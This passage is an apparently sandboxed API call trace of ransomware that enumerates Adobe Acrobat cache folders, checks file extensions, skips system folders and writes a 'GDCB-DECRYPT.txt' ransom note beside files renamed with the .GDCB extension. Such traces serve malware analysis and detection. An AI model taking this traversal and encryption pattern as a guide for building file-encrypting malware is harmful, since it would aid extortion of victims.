Data\\Application Data\\Adobe\\Acrobat\\*" [0170.295] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e18 [0170.295] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC" [0170.295] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\" [0170.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.295] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.295] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 206 [0170.295] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.295] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd5d0 [0170.295] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.295] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 224 [0170.296] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 224 [0170.296] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 223 [0170.296] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 223 [0170.296] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 211 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 222 [0170.296] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 227 [0170.296] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 232 [0170.296] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.296] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0170.296] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0170.296] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0170.296] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 222 [0170.296] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.297] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0170.297] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0170.297] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0170.297] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned 225 [0170.297] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.297] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0170.297] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0170.297] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0170.297] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 224 [0170.297] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0170.297] FindNextFileW (in: hFindFile=0x5dd5d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.297] FindClose (in: hFindFile=0x5dd5d0 | out: hFindFile=0x5dd5d0) returned 1 [0170.297] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt") returned 223 [0170.297] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.299] GetLastError () returned 0x50 [0170.299] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\") returned 206 [0170.299] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*" [0170.299] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dd4d0 [0170.299] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0170.299] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 224 [0170.299] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 224 [0170.299] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0170.299] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 224 [0170.299] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 224 [0170.299] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0170.299] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 223 [0170.299] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 223 [0170.299] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0170.299] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 223 [0170.299] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 223 [0170.299] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0170.299] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\" [0170.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.300] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.300] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 